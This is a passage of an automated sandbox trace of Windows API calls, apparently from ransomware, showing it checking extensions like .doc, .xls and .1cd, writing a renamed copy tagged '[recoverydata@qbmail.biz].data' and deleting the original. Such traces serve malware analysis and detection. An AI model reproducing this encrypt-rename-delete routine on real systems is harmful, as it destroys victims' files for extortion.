lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.057] lstrlenW (lpString=".jpg") returned 4 [0084.057] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.058] lstrlenW (lpString=".doc") returned 4 [0084.058] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString=".docx") returned 5 [0084.058] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0084.058] lstrlenW (lpString=".pdf") returned 4 [0084.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString=".xls") returned 4 [0084.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString=".xlsx") returned 5 [0084.058] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0084.058] lstrlenW (lpString=".ppt") returned 4 [0084.058] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.058] lstrlenW (lpString=".zip") returned 4 [0084.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.058] lstrlenW (lpString=".rar") returned 4 [0084.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.058] lstrlenW (lpString=".bz2") returned 4 [0084.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.059] lstrlenW (lpString=".7z") returned 3 [0084.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.059] lstrlenW (lpString=".dbf") returned 4 [0084.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.059] lstrlenW (lpString=".1cd") returned 4 [0084.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.059] lstrlenW (lpString=".jpg") returned 4 [0084.059] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.059] lstrcmpiW (lpString1=".PNG", lpString2=".data") returned 1 [0084.059] lstrlenW (lpString="MS.PNG") returned 6 [0084.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0084.171] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1682) returned 1 [0084.171] CloseHandle (hObject=0x1ac) returned 1 [0084.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0084.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0084.172] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.172] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.172] GetLastError () returned 0x0 [0084.172] ReadFile (in: hFile=0x1ac, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x692, lpOverlapped=0x0) returned 1 [0084.175] WriteFile (in: hFile=0x20c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0084.176] ReadFile (in: hFile=0x1ac, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0084.176] WriteFile (in: hFile=0x20c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0084.176] SetEndOfFile (hFile=0x20c) returned 1 [0084.176] CloseHandle (hObject=0x20c) returned 1 [0084.177] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.177] SetEndOfFile (hFile=0x1ac) returned 1 [0084.179] CloseHandle (hObject=0x1ac) returned 1 [0084.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0084.179] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0084.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.180] lstrlenW (lpString=".doc") returned 4 [0084.180] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0084.180] lstrlenW (lpString=".docx") returned 5 [0084.180] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0084.180] lstrlenW (lpString=".pdf") returned 4 [0084.180] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0084.180] lstrlenW (lpString=".xls") returned 4 [0084.180] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0084.180] lstrlenW (lpString=".xlsx") returned 5 [0084.180] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0084.180] lstrlenW (lpString=".ppt") returned 4 [0084.180] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0084.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.180] lstrlenW (lpString=".zip") returned 4 [0084.180] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0084.180] lstrlenW (lpString=".rar") returned 4 [0084.180] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0084.180] lstrlenW (lpString=".bz2") returned 4 [0084.180] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0084.180] lstrlenW (lpString=".7z") returned 3 [0084.180] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0084.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.180] lstrlenW (lpString=".dbf") returned 4 [0084.180] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0084.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.180] lstrlenW (lpString=".1cd") returned 4 [0084.180] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0084.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.181] lstrlenW (lpString=".jpg") returned 4 [0084.181] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0084.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.181] lstrlenW (lpString=".doc") returned 4 [0084.181] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0084.181] lstrlenW (lpString=".docx") returned 5 [0084.181] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0084.181] lstrlenW (lpString=".pdf") returned 4 [0084.181] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0084.181] lstrlenW (lpString=".xls") returned 4 [0084.181] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0084.181] lstrlenW (lpString=".xlsx") returned 5 [0084.181] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0084.181] lstrlenW (lpString=".ppt") returned 4 [0084.181] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0084.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.181] lstrlenW (lpString=".zip") returned 4 [0084.181] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0084.181] lstrlenW (lpString=".rar") returned 4 [0084.181] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0084.181] lstrlenW (lpString=".bz2") returned 4 [0084.181] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0084.181] lstrlenW (lpString=".7z") returned 3 [0084.181] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0084.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.182] lstrlenW (lpString=".dbf") returned 4 [0084.182] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0084.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.182] lstrlenW (lpString=".1cd") returned 4 [0084.182] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0084.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0084.182] lstrlenW (lpString=".jpg") returned 4 [0084.182] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0084.182] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.182] lstrlenW (lpString="boxed-correct.avi") returned 17 [0084.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0084.184] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=89600) returned 1 [0084.184] CloseHandle (hObject=0x1ac) returned 1 [0084.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0084.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.185] lstrlenW (lpString=".doc") returned 4 [0084.185] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".docx") returned 5 [0084.185] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0084.185] lstrlenW (lpString=".pdf") returned 4 [0084.185] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".xls") returned 4 [0084.185] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".xlsx") returned 5 [0084.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0084.185] lstrlenW (lpString=".ppt") returned 4 [0084.185] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.185] lstrlenW (lpString=".zip") returned 4 [0084.185] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".rar") returned 4 [0084.185] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".bz2") returned 4 [0084.185] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.185] lstrlenW (lpString=".7z") returned 3 [0084.185] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString=".dbf") returned 4 [0084.186] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString=".1cd") returned 4 [0084.186] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString=".jpg") returned 4 [0084.186] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString=".doc") returned 4 [0084.186] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString=".docx") returned 5 [0084.186] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0084.186] lstrlenW (lpString=".pdf") returned 4 [0084.186] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString=".xls") returned 4 [0084.186] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString=".xlsx") returned 5 [0084.186] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0084.186] lstrlenW (lpString=".ppt") returned 4 [0084.186] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.186] lstrlenW (lpString=".zip") returned 4 [0084.187] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.187] lstrlenW (lpString=".rar") returned 4 [0084.187] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.187] lstrlenW (lpString=".bz2") returned 4 [0084.187] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.187] lstrlenW (lpString=".7z") returned 3 [0084.187] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.187] lstrlenW (lpString=".dbf") returned 4 [0084.187] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.187] lstrlenW (lpString=".1cd") returned 4 [0084.187] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0084.187] lstrlenW (lpString=".jpg") returned 4 [0084.187] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.187] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.187] lstrlenW (lpString="boxed-delete.avi") returned 16 [0084.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0084.666] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=31744) returned 1 [0084.666] CloseHandle (hObject=0x1b8) returned 1 [0084.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0084.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.667] lstrlenW (lpString=".doc") returned 4 [0084.667] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.667] lstrlenW (lpString=".docx") returned 5 [0084.667] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0084.667] lstrlenW (lpString=".pdf") returned 4 [0084.667] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.667] lstrlenW (lpString=".xls") returned 4 [0084.667] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.667] lstrlenW (lpString=".xlsx") returned 5 [0084.667] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0084.667] lstrlenW (lpString=".ppt") returned 4 [0084.667] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.667] lstrlenW (lpString=".zip") returned 4 [0084.667] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.667] lstrlenW (lpString=".rar") returned 4 [0084.667] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.668] lstrlenW (lpString=".bz2") returned 4 [0084.668] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.668] lstrlenW (lpString=".7z") returned 3 [0084.668] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.668] lstrlenW (lpString=".dbf") returned 4 [0084.668] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.668] lstrlenW (lpString=".1cd") returned 4 [0084.668] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.668] lstrlenW (lpString=".jpg") returned 4 [0084.669] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.669] lstrlenW (lpString=".doc") returned 4 [0084.669] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.669] lstrlenW (lpString=".docx") returned 5 [0084.669] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0084.669] lstrlenW (lpString=".pdf") returned 4 [0084.669] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0084.669] lstrlenW (lpString=".xls") returned 4 [0084.669] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0084.669] lstrlenW (lpString=".xlsx") returned 5 [0084.669] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0084.669] lstrlenW (lpString=".ppt") returned 4 [0084.669] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0084.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.670] lstrlenW (lpString=".zip") returned 4 [0084.670] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0084.670] lstrlenW (lpString=".rar") returned 4 [0084.670] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0084.670] lstrlenW (lpString=".bz2") returned 4 [0084.670] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0084.670] lstrlenW (lpString=".7z") returned 3 [0084.670] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0084.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.670] lstrlenW (lpString=".dbf") returned 4 [0084.670] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0084.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.670] lstrlenW (lpString=".1cd") returned 4 [0084.671] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0084.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0084.671] lstrlenW (lpString=".jpg") returned 4 [0084.671] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0084.671] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.671] lstrlenW (lpString="delete.avi") returned 10 [0084.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.153] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=224256) returned 1 [0085.153] CloseHandle (hObject=0x184) returned 1 [0085.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0085.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.153] lstrlenW (lpString=".doc") returned 4 [0085.153] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0085.153] lstrlenW (lpString=".docx") returned 5 [0085.153] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0085.154] lstrlenW (lpString=".pdf") returned 4 [0085.154] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString=".xls") returned 4 [0085.154] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString=".xlsx") returned 5 [0085.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0085.154] lstrlenW (lpString=".ppt") returned 4 [0085.154] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.154] lstrlenW (lpString=".zip") returned 4 [0085.154] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString=".rar") returned 4 [0085.154] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString=".bz2") returned 4 [0085.154] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString=".7z") returned 3 [0085.154] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.154] lstrlenW (lpString=".dbf") returned 4 [0085.154] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.154] lstrlenW (lpString=".1cd") returned 4 [0085.154] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 